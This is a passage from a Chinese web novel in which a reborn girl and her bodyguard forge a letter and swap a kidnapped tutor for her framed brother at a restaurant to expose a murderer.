“你家姑娘自己都不老实,还好意思管别人?让她没事少出门吹风,一个两个,都不听话。”顿了顿,又道,“我晚上来为他施针,让他安心等着,再敢跑我就打折他另一条腿!让他当个下不了床的瘫子!” 声音愈来愈远。 谢昭凌悬着的心慢慢落下。看来是不会带他走了。 “阿——咳,谢护卫,你在吗?” 屏风后传来小姑娘可怜巴巴的声音。 好像因为屋里有旁人在场,不能唤“阿凌哥哥”委屈死她了。 谢昭凌收拾心情,朝内间走去。 再次踏入这堪称私密的空间,他竟生出两分局促来。明明前些日子日日来这,他早该习惯了的。 好在门口就有一把椅子,他没再往里进,停在椅子旁边,冲她揖手。 “来了呀,快坐吧。” 乔姝月没注意他的表情,只担忧地往他腿上瞧。 “怨我不该让你昨晚出门的。” 被吴大夫落了一通埋怨不打紧,要紧的是他的腿别真有什么事。 谢昭凌没心思同她闲聊,他低着头,拘谨道:“姑娘唤我来何事?” 乔姝月想起正事,怀里抱着东西朝他走过来。 椅子旁边是个方几,她在他对面坐下,当着他的面把包袱打开。 谢昭凌抬眼,看清这正是李成带回来的那个包袱。 乔姝月从包袱中取出唯一的一样东西。 谢昭凌:“……书?” 乔姝月点头,指着封面上的字,“这不是普通的书,你认得这两个字吗?” 谢昭凌颔首,“礼记。” “正是。这本书是我从三哥那里借来的。” 谢昭凌愣了下,“三公子?” “是啊,我三哥正在国子监读书,你没见过,他平时都吃住在那里,不常回来。” 不等谢昭凌继续追问,乔姝月便一五一十全都抖落干净。 她知道那几桩命案的幕后真凶是谁,但是那人口碑极好,又背靠柳家这个大族,大理寺的目光虽短暂地落在过柳家身上,但因为没有证据,并不能锁定在真凶的身上。 前世她去了宫宴,当时她还不敢反抗柳步亭的纠缠,也甩不掉他。在外人眼中,她和柳步亭关系甚好。 前世乔家这个时候没有同柳家交恶,皇帝也没有找二皇子的错处。 当时乔良出事后,柳家从中斡旋,帮乔良减罚,便有风声传乔家明面上支持太子,实则早就成了二皇子的左膀右臂,同柳家的不合也只是做做样子罢了。 可是今生不同了。 她虽不懂朝堂,但她看清楚了一个事实—— 倘若她将此事引到柳家头上,皇帝不一定会偏私,帝王需要制衡,他或许真心疼爱二皇子,但绝不允许二皇子的势力独大。 只要皇帝不偏袒,乔姝月相信大哥和大理寺定能缉拿凶犯、剪恶除凶,还死者一个公道。 二哥与乔家自此都会走上与前世截然不同的道路。 “我早上写了封借书的信,本想让你把信带过去,可我想着三哥不认得你,未必会听你的,所以就派李成跑了一趟。” 谢昭凌闻言,眼睛顿时亮了亮。 他心里莫名其妙凝结起来的疙瘩,又莫名其妙地消散了。 别过头去,微微弯了下唇。 乔姝月郑重道:“这一本礼记有那人的亲笔批注,是我三哥特意买来珍藏用的。” 谢昭凌诧异于她如何知晓这般多的内情,狐疑地看向那本礼记,“著书的是……” “是国子学的柳助教。” 柳家的旁支,算起来是柳步亭的堂叔。 有诸多疑云盘桓在心头,谢昭凌微启了唇,想要问她,但到底没有开口。 乔姝月一眼便分辨他心中所想,她抻着脖子往外间看去,隐约能见到声音,但见不到玉竹的身影。 她清了清嗓子,扬声喊来玉竹,“我饿了,去叫小厨房弄点桂花糕来。” 玉竹把手里的活儿放下,也没往这边来,嘟囔了一句“不是才用过膳”,便打开门出去了。 屋中再没旁人,乔姝月这才满意,她怕隔墙有耳,依旧不敢大意,压低声: “我同你说过的预知梦可还记得?这都是我梦到的。” 乔姝月心中暗暗感叹于自己的聪明才智,一个“预知梦”便什么疑问都能打消。 谢昭凌听罢微微垂眸,心下微沉。 她身怀异能,往小了说,可改变一家荣辱,往大了说,或可决定国之命运。 若叫歹人发现她有此技,她该置身于怎样的危机中? 他说不清为何,竟有些惧怕,目光死死盯着书名,嗓音发紧:“那梦可告知你更加详细的案情了?你要来这册书,是要做什么?你打算掺和进去吗?” 乔姝月叹了口气:“我也只知真凶是谁,旁的一概不清楚。” 乔姝月之所以知道人名,并不是因为她小时候记得这事。 而是因为当初谢昭凌推翻暴政,登基为帝后,为了她重启了旧案。 其实这桩案子到最后都安在了二哥的身上,二哥被冤入狱,受过一段时间的折磨,本应是死罪,却因柳家的求情才被网开一面。 他的“过错”由大哥和父亲承担了一部分,他自己则永世不能入仕,再也没能在世家跟前抬起过头。 当时并没有直接的证据证明二哥与前三起案件有关联,只因在相似作案的第四桩案件现场发现乔良,便将所有的罪名都归到他一人身上。 乔姝月坚信二哥无罪,可外面的人都说他有罪。 即便命案结果已是板上钉钉,可乔姝月多年一直对此事耿耿于怀,直到遇到谢昭凌,她一次偶然提起,他上了心。 只因她一句,不想让兄长死不瞑目,难安九泉,他就为她与朝臣周旋,顶着压力,为她彻查这件无足轻重的陈年旧案。 他当初真的好爱她啊。 乔姝月红着脸想。 当初结案以后,柳家十分嚣张,总仗着对乔家有恩百般刁难。等到后来谢昭凌厘清真相,还二哥清白后,乔姝月气坏了。 乔姝月打定主意,她这回一定要将罪名扣到真凶头上不可。 “你说的对,我这回非得掺和进去!我要救我二哥,把真凶揪出来。” 小姑娘气势汹汹,恶狠狠地发誓。 “没有人能禁得住查,只不过是目光暂时没落到他身上罢了。”乔姝月道,“只要我将真凶捅到大理寺跟前,不信查不出他的罪行!” 谢昭凌放在书册上的手慢慢攥成拳。 他眼底闪过一丝狠色,心里盘算着将那真凶绑起来扔到公衙门口,成功的几率有多少。 他琢磨半晌,心里已经计划好入了夜就偷偷去探一探公衙,熟悉一下路。 “阿凌哥哥?” 谢昭凌:“……” 他身上的腾腾杀气霎时间散了个干净。 “我借来这书呢,是有个尚不成熟的想法,想说与你听听,我们商讨一番。” 她正要继续说,玉竹开门走了进来。她手里端着一锅刚出的桂花糕,笑嘻嘻道:“姑娘你猜怎么着,厨娘与你心有灵犀,她怎么早知道你得喊饿啊?我刚到她就让我端来,真是太巧了!” 乔姝月手忙脚乱,把那本礼记收进包袱里,藏在背后,她干笑了两声,“可不是,我与她还真默契。” 玉竹把盘子放在桌上,看了看对面而坐的二人,只觉得这气氛怎么看怎么别扭。 “姑娘,这桂花糕别一口气都吃了,等下还要喝药呢,可别吃饱了肚子里没了地方。”玉竹转过头,警告谢昭凌,“你也有药,喝完了才能走。” 省得她还得端着药送到他屋里去,平白让她跑一趟。 玉竹还想说什么,忽听院里刘妈妈叫她:“玉竹!该去领月银了,你去一趟。” 一提银子,玉竹顿时眉开眼笑,美滋滋跑了出去。 她出去时没关门,乔姝月扁了扁嘴,此时也不好再过去关门,不然反而叫人起疑。 她从椅子上下来,贴着墙根,蹑手蹑脚走到门口。后背贴着墙,蹲在角落,偷偷摸摸向外张望。 院子里人不少,离门不近不远,手里都有自己的活,看样子不会进来。 她不敢耽误时间,赶忙又跑回内室。 这回没再坐回去,就立在屏风旁,半面身子冲着外,时刻警惕着门口来人,另外半边身子朝向谢昭凌。 谢昭凌想起身,却被她的手按住肩膀。 他身子有短暂的僵硬,很快又强迫自己放松下来。 “我长话短说,我本打算按着那歹人的字迹,伪造出一封书信,将此作为证物,呈到大理寺面前。他们不是抓不到姓柳的把柄吗,我伪造一份便是。”乔姝月语速很快,思路清晰,“即便这份证据最终证实作假,用不了,那也不怕,核实真伪需要时间,这中间又有许多时间可以让我捣乱。他尾巴藏得再好,也架不住我把官府的目光往他身上引。” “他进出国子监数次,不会一次都没被人看到过,再滴水不漏的人也不可能做到天衣无缝。一旦撕开一道口子,那就会有千种万种的可能性,而不再是我二哥替人顶罪这一种可能。” “只是此计难点有二。一是伪造的书信要以假乱真,并不容易。二则是就算伪造出来,这信我要如何送到大理寺去?” 她总不能巴巴地送到大哥院子里,说这是她无意间捡到的吧?大哥疯了傻了才信她的鬼话。 大理寺她更去不得了,那是大哥当差的地方,是公衙,她本领再大,也不可能在大哥不知情的情况下,溜进去,放一份证物。 更何况,凡是证物收纳时都要经过差役之手,记录在册,她难道要再收买一个差役吗? 小姑娘幽幽叹了口气,看上去头疼极了。 “所以找你来,是想让你帮我想想,可还有别的路走?” 她并未打定主意伪造信件,只是一时间又想不到其他的法子。她的陛下那么聪慧,他若能想到更绝妙的点子,那就再好不过了。 “所以你有何看法?” 乔姝月期盼地望着他。 少年沉默了会。 他问:“伪造一事,交由谁来办?” “自然是我亲自来。” 他目光沉沉,直视着她,“你会?” 乔姝月张了下嘴,刚要回答。 紫棉端着药走了进来,“姑娘,你的药好了。” 乔姝月从屏风后探头,心虚地咳嗽了声,“你放那晾着吧,我等下喝!谢护卫的呢?” 紫棉道:“就快好了,我这就去拿。” 而后又出了门,往小厨房去了。 乔姝月松了口气,幸好一直压着声音没叫人听到,说点悄悄话真难。 她看回少年,“我会。” 谢昭凌错开对视,目光落在那本礼记上。他将书拿在手中,翻开了第一页。 他语气很轻,喃喃道:“若你来做,被发现了怎么办。” 他心里最初的那点恐惧,随着她的和盘托出,一点一点地多了起来。 心惊于她所知甚多,更惊叹于她的谋划。 她还这样小,就要承受如此沉重之事。 谢昭凌后知后觉,认同郑丰南说的道理。 人得往上爬,才能随心所欲,才能守住自己在意的东西。 若是一味地放纵几身,随波逐流,得过且过,等到了真正要紧的关头,就会被无力感吞噬,早晚悔不当初。 “你放心,我不会被发现的。” 乔姝月弯起眼睛,她瞥了一眼门口,见四下无人。 毫无预兆,向他靠过去。 站在他的身前,腿侧挨着他的膝盖,小手搭在他肩膀,脸逐渐贴近。 谢昭凌蓦地收紧了手,攥得手里的书发出声响。他向后躲,可身后是墙,避无可避。 “我这本事除你之外,无人知晓。”她凑到他耳边,用说悄悄话的音量道,“这是我们俩之间的秘密呀。” 她太近了,近到谢昭凌能清晰地看清她的睫毛,软软糯糯的声音如一条小蛇钻入耳中。 谢昭凌咬咬牙,一只手绕到小姑娘身后,揪住她的后衣领,将人从自己身上拎了起来。 “诶?”颈间一紧,乔姝月被拽得踉跄了一步,她站稳后再一抬头,看到少年手中被摧残的书,大惊,“啊!” 她抬手拍了他手背一巴掌,气恼道:“别攥了!都皱了!” 三哥爱书如命,真弄坏了他的东西,他可不会顾及兄妹之情,定会跟她翻脸。 谢昭凌立刻撒手,像扔烫手山芋一般,将书扔回桌上。 小姑娘坐回座位,心疼地把皱起的书角按平,“你……” 她还有话要说,才一开口,便见少年涨红了脸,蓦地站起身,抓过拐杖就往外走。 乔姝月愣了下,赶忙从椅子上下来,她追出去两步,只见少年脚步慌乱,行至门边,险些与人相撞。 紫棉端着药回屋,还未看清来人,手中的药碗便被人夺走。 她一时间没能回神,怔怔看着少年大口大口地将药灌了下去。 紫棉:“……?” 只一错神的功夫,药碗就见了底。 咚—— 谢昭凌将碗放回托盘,拄着拐,一言不发,低着头躲出去。 越走步子越快,再顾不上那条伤腿,几乎是跑着回了自己的屋子。 紫棉失神望着少年的背影,喃喃:“……不烫吗?” 才刚出锅啊。 紫棉手触了下边沿,感受着碗的余温,由衷感慨: “不愧是谢护卫。” 第32章 【32】 原本计划想要和谢昭凌共商大事,结果事情才说到一半,他人就跑了,一下午不见人影。 前几日才刚被陆氏提点过,乔姝月也不好再去三催四请,传出去好像她多离不开他似得。 “也不知怎么,屁股着了火似得,跑得飞快。”乔姝月拧着眉喝了药,用筷子对着桂花糕戳来戳去,“还想让他尝尝来着。” 玉竹领了月银回来,只听到后半句,笑着凑上前,“让我尝尝吗?我来啦!” “让谢护卫尝。” 玉竹的笑容顿时狰狞起来,想到她领了银子,谢昭凌没有,心里又没有那么吃味儿了,决定不和一个打白工的人计较,勉为其难道:“那等会我帮姑娘给他送去?” “……罢了。”乔姝月叹了口气,“他不喜甜食。” 玉竹:“……” 这才相处几日,连口味都摸得一清二楚。 谢护卫真是好福气。 玉竹一怒,将主子剩下不吃的桂花糕都吃了,后来又跑到西厢门口,故意和紫棉说话,说桂花糕多好吃,主子待她有多好,这福气旁人都没有呢。 好一通炫耀,结果西厢房里自始至终一点动静都没有。 当晚吴大夫到来时,看到少年安稳地窝在榻上发呆,很是满意。小老头捋着胡子,施了一轮针后,难得没有再骂人。 他面带着淡笑,也想让患者感受一下医士的温暖关怀,别每个患者提起他来都是“那个吹胡子瞪眼的大夫”,只要伤患听话,他也可以很温柔。 结果才一抬眼,眼睛顿时眯了眯,“嘴为何这般红肿?” 谢昭凌:“……” 在吴大夫的严厉威胁下,少年不情不愿地张开嘴,露出他舌头上的水泡,又在小老头不怎么文雅的怒骂声中,老实巴交地给唇舌都上了药。 吴大夫调节情绪失败,同往常一样,怒气冲冲地离开了乔府。 谢昭凌躺在榻上,难得脑子里是一片空白。 他怔怔发了半晌的呆,久到星空悬挂在穹宇中,久到李成推门回来,爬上了榻。 很快,屋中响起了李成的呼噜声。 谢昭凌的思绪却愈发清晰。 小菩萨有着不属于十岁孩童该有的聪慧与决断、沉稳和成熟。 她与他有着天壤之别,她才是上苍降于这世间的馈赠。 她的每一句话言犹在耳,让人听罢便在心底掀起了巨浪狂潮,为之折服。 她这般聪慧,迟早也发现他的本来面目。那个自踏入乔家便被他藏起来的,丑恶又狰狞的面目。 她喜欢赏心悦目之物,可他却是从里到外都是烂的。等她发现那日,她会如何看他? 这一次若是帮了她,或许他就再没法去投奔郑丰南了。 没了退路,他会再过上同从前一样的日子。 真的要为了她,赌上这一切,赔上他的前路吗。 ** 七月初一,乔姝月早早就起了。 她苦心钻研两日书法,终于模仿出一封像样的书信。为了验证自己的练习成果,她还特意仿写了一张字条,是一句高深难懂的话,她谎称这是书中夹带,自己看不懂,派人给三哥送去,询问释义。 三哥被她骗到,只疑惑为何自己对字条没有印象,却毫不怀疑,未曾想过这并非出自柳助教之手。 这本事是前世养病时闲来无聊,她打算时间用的,在仿造这事上她虽不能拍着胸脯保证以假乱真,但起码一眼扫过去,不会叫人起疑。 自那日将计划告知于谢昭凌,他便一直躲着她。 那日傍晚隐约听吴大夫大发雷霆,乔姝月以为他的伤势恶化,加上这两日她忙得焦头烂额,倒也没再去催请。 字是练好了,信也写成了,她到底要如何将信送出去呢? 乔姝月起后,让人叫谢昭凌来,结果得知他天没亮就出门了,也不知道是去做什么。 无奈,她只得去找二哥,缠了二哥半天。 只要二哥今日不出这个门,这罪他自然也背不到身上。 他人都不在案发现场,官府总不能来乔府拿人吧。 至于那信,她编撰的内容是柳助教向其中一位死者诉说衷肠。 晚一些时候被人发现也不碍事。 那封信还被她加了落款,毕竟是信嘛,该有落款才对。 她最有自信的便是那落款,若说信的内容或许会叫人起疑,那个名字绝对可以以假乱真。 等到了正午,谢昭凌终于回来。他在木兰院扑了空,一刻不停,又去二公子的院子。 见到乔姝月时,她正搬着小板凳,坐在乔良脚边,絮絮叨叨:“二哥你看你都绣歪了,不用心,重做!” 乔良压抑着浑身的躁动,被折磨得几乎发疯,“二哥今年没送你生辰礼吗?送了啊!你为何还要逼我送礼物!” “这是明年的呀,二哥,时间所剩不多了,你得快快准备着。” 谢昭凌:“……” “你今年的生辰才过半个月!距离明年还久着呢!怎么就时间不多了?我又不是明天就死了!” 乔姝月脸色微变,手一抖,针扎破了指腹。 乔良抱头,“那么喜欢绣品,二哥为你买现成的可好?人家绣娘所做比二哥强了千万倍,你为何非要为难二哥?” 他手指头又粗又笨,哪里做得来这么心灵手巧的活儿?再说他一个男子汉,捏着绣花针穿针引线这像话吗?! 小姑娘被戳到痛处,情绪低落了下去,她低声道:“我只想要二哥做的,绣娘做的我不稀罕。” 乔良愣了愣,放轻了语气:“月儿?” 正欲再说些什么,余光瞥见一少年走了过来。 乔良挺直腰板,“谢护卫,有事?” 谢昭凌意味不明地看了他一眼,没搭理他,在小姑娘面前弯下腰。 他嗓音轻缓:“那件事,我们谈谈。” 说的是只有他们二人才能明白的话。 乔姝月打起精神,把手中的织布扔到筐里,顿时把二哥抛到脑后,只匆匆撂下一句“二哥等我”,就随着谢昭凌往角落里去了。 乔良看着当他面把他妹妹拐走的臭小子,气得冷笑了声。 俩人站在墙角,凑到一处。 小姑娘只到他胸口,他弯了背脊,同她商议: “你若想让那姓柳的出现在案发现场,我有办法。” 他凌晨起来,趁着天黑去绑了那个柳助教。 现在人被他打昏藏了起来,只等着一个时机,把人扔进悦泉楼里,让大理寺发现即可。 悦泉楼他也熟,他在那里头待过一段时间。 虽然当时刀疤男那伙人都以为他带着镣铐,每天就老老实实地困在柴房。 可他其实每个深夜都趁人不防,将悦泉楼的各条暗道摸了个遍。等到快天亮,他才回到柴房。 倒不是为了方便逃跑,是他若不将安身之处探查清楚,他心里会很不安。 没想到先前所做的准备并非全无用处。 乔姝月并不想让谢昭凌冒险,看他神色就知他没想智取,警告道:“若你想以身犯险,那你歇了心思吧,我不同意。” 若是二哥的命要谢昭凌的命来换,那她的重生依旧是失败的,是没有意义的。 谢昭凌摇头,“你放心,我有办法混进去。” 他虽然不算爱惜自己的身体,但在欠款偿还清楚之前,他会待自己好一些。 乔姝月狐疑地打量他,“你有何法子?” 谢昭凌抿唇不语。 他前日听魏二说有新的外快门路,原本不打算应承,等魏二说了是做什么的之后,他改变了主意。 魏二同他说,有人招工搬菜,目的地就是悦泉楼。 他昨天打听到,是六月三十这天楼里的护卫大半会被调出城去,才导致七月初一没有足够的伙计卸货,这才找上帮工。 将护卫遣送出城一部分,是因为计划今日找替罪羊,知道案发后这日大理寺会来搜查。以防到时会发生变故,稳妥起见,将自己人藏起一些,免得被人一锅端。 既然找好了替罪羊,柳助教就必定不会出现在悦泉楼里,谢昭凌就偏偏让他出现,所幸防卫撤走大半,楼中防卫不严,并不难做到。 魏二与他约定的时辰在日落之前,他只要在那个时候把柳助教藏进去就好。 见他有自己的打算,乔姝月实在难放心。 她严肃道:“你答应过我,做了什么都要告诉我。” 怎么又和前世一个德行,爱自己偷偷摸摸地搞小动作,问他也不说。 谢昭凌无言以对。 他说过的明明是“尽量”。 “罢了,谁让你是阿凌哥哥,就算不听话,也还是最喜欢你。” 她音量压得很低,没想着让人听到,尤其是最后半句,几乎是淹没在唇间。 可谢昭凌这一路逃亡,早已如猛兽一般,练出极佳的目力与耳力。 他的魂儿轻而易举被她的一句话抽走,整个人如一根木桩,被死死锤进地里,浑身僵硬,站得笔直。他怔怔望着她轻轻颤动的睫羽,失了言语的能力。 乔姝月从袖子里摸出那封伪造信,叹道:“你既有法子潜进去,那我就信你一回,只要将信送进去就好,你人一定要安全地出来。” “我会拖住二哥,不让他出门。若是你那边进展不顺,也莫要与人硬碰硬,瞧着不对就跑,千万别让自己出事。” “哪怕真凶依旧逍遥法外,哪怕这场算计成一场空,你也千万不能有事。” 乔姝月依依不舍地拉了他的袖子,带着撒娇的意味恳求道:“别叫我担心。” 二哥在身后叫她,她没再多言,将信塞进少年手中,转身走了。等那对兄妹回了房中,谢昭凌才回过神来。 他将信收进怀中,手掌按了按狂乱的心跳。 第33章 【33】 “二哥!你答应了我今日不出门,陪着我把这鸭子绣完的!” 乔姝月不明白,为何自己回院子睡了个午觉的功夫,二哥竟要出门了!这怎么能行!门一出,命就没了,天也塌了!! 乔姝月一把抱住二哥的腰,又哭又闹:“我不管!你不许走!你得陪着我!” 乔姝月重生以后一直在适应这具小小的身体,奈何她死于二十三岁,距离十岁的自己实在相隔甚远,平日里装一装天真懵懂还行,实在做不来小孩子那些稚气十足的举动,更不可能大哭大闹。 可到了眼下这个节骨眼,到了这生死攸关的时刻,大抵是刻在这具小身体里的本能骤然爆发,她只觉得由心底迸发出一股强烈的悲意,眼泪瞬间飚出。 她太自信了,不该觉得仅凭自己一个人就能拌住二哥的脚,她还只是个小孩子,是童言无忌的年纪,凭什么觉得旁人一定会听她的话? 若她多想几条后路,此刻也不会这般被动。 哪怕她让阿娘给二哥找点事干呢?二哥很孝顺阿娘,若有阿娘发话,他定不会像现在这样说走就走。 乔姝月后悔极了,带着哭腔:“二哥说好的不出门,怎可言而无信,欺骗月儿?” 近来这段日子里,乔姝月在家人眼中愈发乖巧懂事,因而乔良见到妹妹撒泼打滚的模样,一时间竟感觉陌生。 不过转念一想,十岁的妹妹哭闹是再正常不过的事。 乔良没将她的哭闹放在心上,手拍拍她的背,哄小孩似得道:“二哥就出去一会,晚上陪你再绣可好?你回去再睡一觉,醒来就能看到二哥了。” “我不——!!” 乔良看着蛮不讲理的妹妹,忽然生出几分恍惚。 不对比还不觉得,这一嗓子嚎出来,才发觉从前的妹妹有多温柔可人。 “月儿乖,二哥出门给你买吃的,很快就回来,你听话啊。” 乔良嘴上说着好听的话,眼里发狠的情绪却暴露了他。 在小妹休息的那一个时辰里,有朋友找上门。朋友来与他通风报信,说柳步亭晚上要在悦泉楼设宴。 乔良当即就恼了:“那小子不是在禁足?!” 一月禁足期未过,他怎敢抗旨不尊?! 朋友轻蔑地道:“他柳家人违抗皇命又不是什么稀罕事。” 妹妹被人推下水,命险些没救回来,乔良发誓要给妹妹报仇,无奈柳步亭禁足在家,他没机会下手。 今日可好,撞到他的手里。 乔良一刻都等不起,同朋友嘱咐了一句晚上定会同去,便一头扎进武器房,挑选了一件趁手的兵刃。 才揣好武器,打算出门蹲人,妹妹就跑了过来。 她每日都要睡上好一会,怎么今儿醒的这样快。 乔良头疼不已,但他今日这一趟天王老子来了也阻拦不得。大不了被父亲再罚跪几日祠堂,他也跪得,总之这口气今日一定要出。 任由乔姝月如何哭闹,如何恳求,他都无动于衷。 他虽然对乔姝月有求必应,也最受不得乔姝月掉眼泪,但真正有人触及他底线时,哪怕是乔姝月亲自来制止都不管用。 他们乔家人都固执,尤其在护犊这点上,都倔得很。 乔良抬手招来几个婢女,不容置喙:“送月姑娘回房。” 他把腿从小姑娘手里拽出来,如一阵风般,快步走了。 乔姝月拎着裙子追出去好远,可她的腿没有哥哥长,人在病中,气息也短,才刚拐过一个弯,便再也不见二哥的身影。 乔姝月抬手抹了抹眼泪,又跑去找四哥。 到了四哥的院子,得知四哥也出了门。她抬头望了望天色,知道自己只有一条路了。 ** “你说去哪?”正在核对账目的陆氏蓦地抬头,“悦泉楼?” 乔姝月委屈巴巴,抽泣着:“正是,二哥说陪我,结果又跑出去玩乐了。” 事关生死,她不会逞能。但关于命案的事也不能透露,预知梦这类说辞,也就只有谢昭凌会信。 所以只能先告二哥一道黑状,让有能力出门的人去拦他。 比起牢狱之灾和一条性命,父亲的怒火尚能承担。 因为丈夫在大理寺任职,陆氏隐约知道那地方最近很不太平。 她放下账本,眉心微蹙,“父亲最不喜他吃喝玩乐那一套,眼下这情况,他竟还敢往那儿去。” “是啊是啊,我瞧他出门那架势,要寻仇似得,只怕他酒喝多了要同人起冲突,嫂嫂,你快让人把他带回来吧,别让他在外丢人。” 陆氏叫了心腹婢女的名字,正要吩咐。 乔姝月又忙道:“二哥只怕不会好好听话,不如嫂嫂找几个生面孔,直接套了麻袋把他扛回来吧!” 陆氏:“……” 她犹疑地看过去,至于做到这般? 见小姑娘愤愤的,眼珠乱转,显然是存了私心,想借她的手发泄不满。 陆氏无奈揉额,“那就叫几个粗使的小厮去吧,务必把人带回来。” 婢女领命离去,小姑娘追到门口,扬声:“记得带上麻袋啊!” 陆氏:“……” 看来即便兄妹感情再好,也不可在小妹这里爽约。 ** 天色将暗。 谢昭凌扛着一麻袋野菜,踏进熟悉的后院。 “哎你们两个!把菜都堆在这就行,别到处乱走!”一个扎着头巾的家丁对着他们吆喝。 魏二放下一袋,点头哈腰,从怀中掏出两贯钱,塞到头巾男的手中,“多谢大哥,请您喝酒。” 头巾男掂量两下,满意地“嗯”了声,没再监工。 魏二擦了擦额头上的汗,回到谢昭凌身边,见少年目光落在自己身上,他笑了声,“不打点打点,他得一直在这盯着咱们挑刺,回头该拿的工钱拿不到,那可亏死了。都是规矩,你学着点。” 谢昭凌知道这些所谓的“规矩”,他是从地狱爬上来的人,见过的比魏二多。 他看魏二,只是在想一会要如何让魏二安全地离开。 柳助教已经被他藏在一个安全的地方,绝不会有人发现。 他还要去打探案发之地,有魏二在旁边不方便。 他淡淡道:“这些我来搬,你回去吧。” 魏二一听不乐意了,“怎么,过河拆桥??” 谢昭凌摇头,解释:“我替你做,工钱分你一半。” 魏二这才眉开眼笑,抬手拍拍少年肩膀,“谢兄真够意思,这不好吧?” 嘴上客套着,脚下跑得飞快,生怕谢昭凌反悔。 谢昭凌没费什么功夫将人支走,这才收起那副人善可欺的伪装,目光渐渐冰冷,染上几分戾气。 他回到了他原来的战场,一切都还是熟悉的模样。 只不过从前那帮欺凌他的人,今日一个都没见到,不知是否都被遣送出城了。 这空气里尽是他厌恶的味道,如今他愈发讨厌这地方。 谢昭凌加快速度将菜放好,趁着四下无人,抬起角落一块暗板,跳进了地道里。 “……” 他手中无蜡烛,只能摸着墙壁,暗中探索。好在这条路他走过不止一回,何处有岔路,又通向哪个房间,他都一清二楚。 这地道应该只有东家或是管家才会走,嗅着暗道里的味道,应该有段时间没人走过了。 他不敢放松警惕,将全部精力都集中在听力上。 快要走到他藏柳助教的屋子时,隔壁不远处忽然传来异响。 “……放着行吗?他不会醒?” “没事,咱守在门口,他敢叫敢跑就再给他来一下,反正这一层都清了,没人上来。” 谢昭凌合上双眼,屏息静气去听脚步声,是两个。 但呼吸声却有三道。 “脸朝里,冲着她躺,对对,手搭上。” 一阵搬弄声后—— “哎呦!这真是吓死人了。”有人气喘吁吁。 “小点声,东家说临死前服了药,会延缓腐烂的时辰,所以现在还不该“尸体”被发现,别咋咋呼呼的惹人怀疑。先放他躺着,等到亥时再声张。” 屋里人走了。 看样子都守在门口。 谢昭凌没再耽搁,他去取了柳助教的麻袋,解开口子,发现那人还昏着。 他犹豫着,将手指探到鼻间,察觉到鼻息,松了口气。 又紧了紧柳助教身上的绳子和封口条,不再浪费时间,他通过暗道,去到刚刚有人的那间房。 暗道可以通向任何一个房间,大抵是为了方便权贵随时逃走。 难怪此处会颇受人推崇。 谢昭凌轻蔑地勾了下唇。 他先将柳助教拖了出来,扔在地上,又赶忙去查看榻上之人。 一个女子,看样子已经咽气半个多时辰。而她腰间搭着的那条手臂的主人,正是今日寻找来的完美的替罪羊,乔家二公子乔良。 乔良在这,说明乔姝月没能留住人。 她此刻一定很着急,他得将人带出去。 谢昭凌从怀中掏出同样的绳索和封条,给乔良也来了一套。 而后把空出来的麻袋套在乔良身上,扎紧。 毕竟若是扛着他逃到一半,他忽然出声,还要拖后腿。 偷梁换柱这事,他干了不是一回两回,十分熟练趁手。只一盏茶的时间都不到,他就悄无声息地将一切都复位。 临走时不忘留下那封伪造信。 而后带着乔良,原路返回。 谢昭凌曾犹豫过,既然自己决定行动,是否还有必要将小菩萨拉下水。 他本没想将那封信留下,可一想到小姑娘废寝忘食,担惊受怕,又不想她的努力付诸流水。 于是他还是留下了那封信。 只不过他在那封信上面,留下了柳助教的手印。 那是一封柳助教写给第二位死者,叶宰辅家孙女的情书。 落款是柳助教的名字,再加上他的手印,他百口莫辩。 回去的路不太顺畅。 谢昭凌从地道出来,还未来得及将乔良运出院子,那个头巾男又回来了。 头巾男不见魏二,脸色立马垮了下去,他朝着少年走来,故意找茬,“你那同伴呢?可是在偷奸耍滑?那边还有一袋米,快去搬过来!” 谢昭凌垂下眼睛。 袖中的匕首缓缓滑落,要从指间探出。 只要杀了这人,他就可以脱身。 如非必要,他不想杀人。只他一人,他不会动手,可他带着乔良,而小菩萨还在家等着。 所以…… “哎你在这儿啊!有人来闹事,快去把人赶走!” 一道声音救了头巾男。 酒楼人手不够,一个人被当成几个人用。 头巾男暗骂了声:“凭什么不让我也休假。” 便转身离开了。 谢昭凌将匕首插回腰间,二话不说,扛起乔良,从墙头翻了出去。 落地瞬间,他换了无伤的那条腿受力。可是乔良太重,压得他那条伤腿也触了地。 膝盖处传来一阵剧痛,他面色不改,扛起人便拐进了小巷中。 隐约听到正门那边有人在大吵大闹,说着什么“把人交出来”。 谢昭凌不敢停留,于夜色中疾速狂奔。 背着一个人,很难保持他最快的速度,加之腿部的痛感愈发强烈,他渐渐慢了下来。 身后忽然传来脚步声! 少年眸光一凛,杀意尽显。 他手臂下垂,随手一放,将麻袋丢到墙角。 而后转身,带着强劲的杀气,直挺挺冲向来人。 “铛——!!” 短匕与刀鞘相碰,发出刺耳的声响。 少年一招一式皆是豁出性命去拼杀的,一击不成,就再来一击! 来人万没想到他会忽然发难,这完全是你死我活的拼法! “谢护卫!”李护卫吓得哇哇大叫,举起手中佩剑,凭借毕生的力气与反应抵抗,“是我!李成!” 李成只差下跪求饶,心里庆幸还好他躲得快,若是再慢上一点,这脑袋怕是都叫谢护卫给切掉了! 少年竖起浑身的防备,如一头被激怒的头狼,不听不看,紧握着匕首,只一心向前刺去。 “谢昭凌!”远处又传来一声怒喝,“月儿还在家中等你,你这是在做什么!” “……” 月儿? 月儿…… 小菩萨在家里等着他。 少年眼底漫起的血色渐渐消退。 他攻势慢了下来,动作也缓慢停止。 他眨了眨眼,终于看清面前的人。 李成捂着被震麻的手臂,目光担忧,人缩在角落里,想靠近又不敢靠近。 而出声喝止的人—— 乔誉站在一丈以外,面色极冷,正盯着他的脸瞧。 是乔府的人来了。 谢昭凌提着的一口气散了。 膝盖处的剧痛让他眼前阵阵发黑,他低喘了一声,向后踉跄,背脊重重抵上墙壁。 乔誉一步步走近,目光挪向角落里那个麻袋,冷笑了声,“你打算杀人吗?” 谢昭凌垂着头,眼睫微微颤了下。 乔誉靠近,压低了声警告:“杀了人,乔府便再留你不得。” 麻袋被打开,俞升惊呼了一声,“是二公子!” 除了乔誉和谢昭凌,乔府的护卫皆看了过去。 乔誉似乎早就知道麻袋里是何人,他没看乔良,依旧对着谢昭凌,用只他二人能听到的音量说道:“你也该为了月儿想想,她是不是让你珍重己身。她那样在乎你,你就是这么回报的吗?!” 哪怕是为了救人,也不该这么莽撞。 脱身的方法有许多,他偏偏习惯用最糟糕的方式——杀人灭口。 他可以将行动提前告知,乔府自会安排人接应。 他可以找吴大夫要些迷药,关键时刻,用来保命。 办法有许多,可他只想杀人。 乔誉脸色很难看,仅凭少年一个小小的举动,一个下意识的反应,便可窥见一斑。 